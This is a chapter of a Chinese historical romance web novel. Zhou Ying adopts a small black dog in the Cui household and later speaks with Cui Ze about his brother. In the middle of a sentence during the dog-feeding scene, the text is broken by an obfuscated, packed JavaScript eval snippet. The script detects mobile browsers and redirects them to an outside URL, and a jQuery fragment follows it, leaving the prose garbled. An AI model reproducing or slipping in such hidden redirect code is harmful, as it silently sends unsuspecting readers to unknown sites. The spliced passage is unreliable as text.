从杜太傅府中出来，天变了脸，疏疏洒了些雨点，二人乘车回府，蕴真说有些乏累，先回院中休息，周缨也没多说什么，只叮嘱婆子记得煮碗姜汤，以防受寒。


    蕴真窝在屋中几日，极少出来，周缨也不去扰她，埋首书卷，越发废寝忘食。


    她清楚地知道，她已不能在此地勾留太久，虽说当初前来崔府暂避是迫不得已，但她确实也因此得了极大的便利。崔家藏书之丰足以令她惊叹，等她踏出这道门，恐怕终生也再难见到规模如此宏大的藏书了。


    于是她只能越发珍惜时间，就连睡觉的时辰也控制得越来越短，竹影松心见她辛苦，也不敢多劝，只好默默在夜里多燃几盏灯烛。


    初七那日，蕴真满脸喜气地跑来找她，向她邀功：“周缨姐姐，你前几日问我的，关于格物致知一说的渊薮，喏，我这几日翻了不少从前的书，总算梳理出来了。”说着便将鞋一脱，爬上罗汉榻，与她挤在一处，脸贴脸地一起翻阅带来的笔记。


    周缨时不时问上一句，又凝神思索一阵，才继续往下看去。


    蕴真不免叹气：“看你这劲头，我都在眼巴巴地数上元还有几日到了，二嫂答应要给我聘个西席，等先生来了，你去我那里，与我一同上课罢？”


    周缨作势将她压倒，去掐她脸蛋：“明明白白为我提的要求，为何要扯自己当幌子？”


    “这都被你发现啦。”蕴真乐出声来，“这是我俩的秘密。咱们现在有两个秘密啦！太傅是一件，先生也是一件。”


    “嗯。”周缨唇角亦压不住。


    竹影这时慌慌张张地跑进来，怯生生地说：“咱们院里来了只小狗，不知从哪里跑进来的。”


    蕴真一翻便下了榻，趿着鞋往外跑，边跑边取笑她：“竹影你怕狗是不是？我从没见你这么慌过。”


    周缨也跟过去看热闹，院墙下已聚了好几个围作一团的丫鬟，议论纷纷，有说该去问问是哪个院里跑过来的，有说家里哪有主子养狗，准是外头趁门上小子不注意偷跑进来的，也有说未必，万一哪位主子近来心情好，添了个新玩意儿呢，指不定就是二郎家里养来逗易哥儿的。


    蕴真凑上前去，见是一只一掌长的小黑犬，琥珀色的眼珠不停地转来转去，带着怯意，显然是被这么多人吓着了。


    蕴真胆子大，想伸出手去摸摸它脑袋，谁知小狗竟突然冲她吠叫起来，吓得她立时将手缩回，她只好远远看着，又实在心痒得厉害。


    周缨走至人群中间，仔细看了一眼，心中陡然涌起一阵难以言状的情绪。


    这只小狗，实在是与黑豆小时候太像了。


    她刚将黑豆捡回家时，黑豆也就这般巴掌大一点，黢黑的一团，病蔫蔫儿，怯生生，却又温顺至极。


    她缓慢靠近，那黑犬耸鼻嗅了嗅，往她这边慢慢走过来。


    周缨伸出手去，它迟疑片刻，竟然在她掌心轻轻蹭了蹭。


    周缨倏地落下泪来。


    “周缨姐姐，”蕴真疑惑地看向她，“你怎么了？”


    周缨没说话，随意将眼泪擦干，抚身将小黑犬抱进怀里。


    黑犬并不挣扎，安安静静地打量着她，片刻过后，轻轻舔舐了下她的手指。


    竹影仍是害怕，说话都还带着颤音儿：“周姑娘，这狗也不知是哪里偷跑进来的，万一身上带着些什么不干不净的，还是谨慎些好，真要收留的话，也先养在外院如何？”


    周缨在黑犬脑袋上摸了摸，将干干净净的前爪递给她看：“不是外头乱跑进来的，有人精心养着的。”


    竹影忙指挥小丫头们去各院里报信，问问是不是哪位主子或者偷养畜生的仆役养的。


    蕴真分析道：“父亲板正，母亲自然不会养。含灵还小，二嫂也不会。既不是主子养的，那只能是哪个丫头婆子偷偷养的了，这般闯到客院里冲撞了贵客，自然不会承认，大喇喇去问定然问不出什么，只有去荒着的院子里瞧瞧，看能不能找出喂养这畜生的物什，倒还能有些线索。”


    竹影听她说的头头是道，转头和婆子商量起来，周缨阻道：“既是仆役偷偷养的，眼下人都去各主子院里报信了，此时再挨个查恐怕也查不出什么了，早毁尸灭迹了，不如就先养着吧。”


    难得见周缨主动拿主意，蕴真自然说好。


    两人一起进了屋，蕴真反手将门一关，凑上来盘问她：“姐姐方才为什么哭？”


    “和我以前养的那只很像，眼睛简直一模一样。”周缨也不瞒她。


    “难怪。”蕴真伸手来摸小黑犬的脑袋，心中还怯怯的，怕它又发狠。


    周缨轻轻抚着它的背，让她别怕，蕴真受了鼓舞，大着胆子摸了摸，果然没有再激起吠叫，羡慕地叹道：“周缨姐姐果然好，连小狗都喜欢你。”


    周缨失笑：“它性子其实很温顺，方才是一下见了那么多人，心里害怕，现在人少，心情平定下来，知道你不是恶人，就不怕你啦。”


    “是吗？”蕴真将它捧在手上举高，见它果然没有凶人，笑出声来，“还挺乖的，姐姐给它取个名字吧。”


    周缨仔细看了看，说：“是只小公犬呢，不如叫驭风吧。”


    蕴真连连点头：“好呀，腿这么长，长大些肯定跑得快。”又将小狗举得更高，笑着在它脑门儿上点了点，“好小子，你往后就叫驭风了，听见没有，好威猛的名字呢。”


    驭风冲她叫了一声，似在回应。


    周缨却有些发怔。


    她方才是在诓骗蕴真，怡园离四处院落都远，独独离崔述和蕴真的院落近些，就算有狗走失，也不当慌不择路跑到这里来。更何况，方才那么多人在场，这只不安怯懦的小狗却独独选择了向她走来。


    它出现在怡园之前，就接触过她的气味，是唯一合理的解释。


    而这玉京之中，除了崔府，也就她曾暂住的净波门外的那方小院，会保存有她所用过的物件。


    若她没猜错，驭风是崔述派人送进来的。


    至于原因，无非是今日是她的生辰。她来时身负惨案，崔府中人不好细问她的过往，他却亲手替她写过诉状，知晓她的一切。


    “小姑。”


    嫩声嫩气的呼唤将周缨的思绪拉回，她抬眼看去，蕴真已拉开门让那两个小祖宗进了门。


    崔易自觉做哥哥的该有些担当，便先开口解释：“小姑，我听婆子说这院里捡了条小狗，就带妹妹过来看看。”


    蕴真抱着驭风问他：“二嫂同意你带妹妹过来吗？”


    崔易点头：“交代我小心些，不能让狗伤到妹妹。”


    蕴真将驭风放到地上，周缨蹲下身将含灵圈在身前，兄妹俩目不转睛地盯着小狗，驭风也不安地打量着这两个生客。


    松心呈上一碟切好的薄肉片，崔易胆子大些，想抓肉片喂狗，周缨提醒他：“小心些，用筷。”


    崔易乖乖照做，用竹筷将肉片喂至驭风跟前，驭风迟疑片刻，馋得厉害又胆怯不敢上前，心里纠斗一番后，终于还是口腹之欲占了上风，小心翼翼地往前探出一只前爪，快速咬住肉片，往后退开一步


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576452|168934||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，才大快朵颐起来。


    崔易将筷子递给含灵，替她将碟子端近些：“妹妹你来。”


    含灵夹过一片肉，学着哥哥的样子喂给驭风，因手短，还往前走了一步，周缨伸手虚虚环着她，随时应变。


    驭风这回胆子稍大了些，嗅了嗅便往前走了一步，倒把含灵吓了一跳，手一松肉片便掉至地上，驭风上前将肉片两口吞咽下肚，满足地舔了舔舌。


    含灵乐得直笑，引得大家都跟着笑起来。


    玩了两刻钟，蒋萱派人过来看情况，周缨说怕她担心，干脆送两个小孩回去，蕴真不肯与她一起，要留下再陪驭风玩玩，周缨便自行将含灵搂在怀中，牵着崔易往玉清院走去。


    行至漱月池边，恰好迎面碰到崔则从外间访友回来，崔易连忙迎上去问好。


    崔则吩咐婆子先带两兄妹回去，又同周缨道：“周姑娘，可否借一步说话？”


    周缨对他做请的手势，二人往湖边走去，在岸缘隔着一尺的距离站定。


    “多谢周姑娘照顾，这俩孩子顽皮，听他们母亲说，他俩近来常去怡园缠着你。”


    “他俩都很乖顺，不曾给我添麻烦，我也喜欢和他们在一处，崔二郎客气了。”


    崔易嘴唇翕合几次，犹豫再三终于开口：“三弟他……在平山县，遭遇了什么？”


    风过水皱，周缨颇为感慨：“除蕴真外，二郎还是府中第一个亲口向我问起他具体经历的人。”


    崔则垂首，没有接话。


    “雪后坠崖，险些丧命，摔坏了一条腿，后来养了多久我也不知。后遇刺杀，亲随晚来上一刹，或许便该命丧深山了。或许算不上九死一生，但也幸天垂怜，方能全须全尾地回到玉京。”


    她说得简短，崔则也没有继续深问，只向她深深一揖：“谢周姑娘。”


    说罢延着小径走回院中，蒋萱正在门口探看，见他魂不守舍地进来，嗔道：“怎么了？婆子说你半道被那丫头绊住了，怎么还和她说起话来了？”


    崔则清醒过来，并不答话，只同她提起另一事：“蕴真要请夫子的事，你看得怎么样了？”


    “也不知你这妹子是真心还是玩笑话，我倒是正选着人，就是怕她只是图一时新鲜，请了名气大的先生过来，到时半途而废，反倒是对先生的不敬。”


    “蕴真自幼跟着三弟读书，这事上她不会怠慢，既说了要读，便是当真要读下去的。”


    “说是这么说，但毕竟要及笄了，眼看着要提嫁娶的话了，早年虽如此，也不知如今心思还在不在这上头。”


    崔则想了一想，替她荐了一人：“不用非请大儒，反倒是庶务少些，能将教书这事放在心上、肯多花些时间精力的更好，我有一品性不错的同窗，去岁丁忧，近来倒欠个营生的活计，你派人去探探口风，早些请来为要。”


    “你怎么突然对蕴真的事上起心来？”蒋萱纳闷儿道。


    “你真没看出来？蕴真聘这西席另有用意。”


    蒋萱被他点醒：“给周缨的？”末了自言自语道，“我近来倒觉得她越发顺眼了些，她待易哥儿和含灵都是极好的，俩孩子也愿意和她亲近，动不动去找她，她也不嫌麻烦，尽心得很，品性确实不错。我们和三弟的恩怨左右跟她无关，这事我自然好生办，我明日便派人去说合说合。不过咱们家也不是聘不起一个先生，你们兄妹俩这般拐弯抹角的做什么呢？”


    崔则并不答话，抱着含灵往屋内走，边走边朗声教她念书——


    “夫仁者，盖推己以及人也。”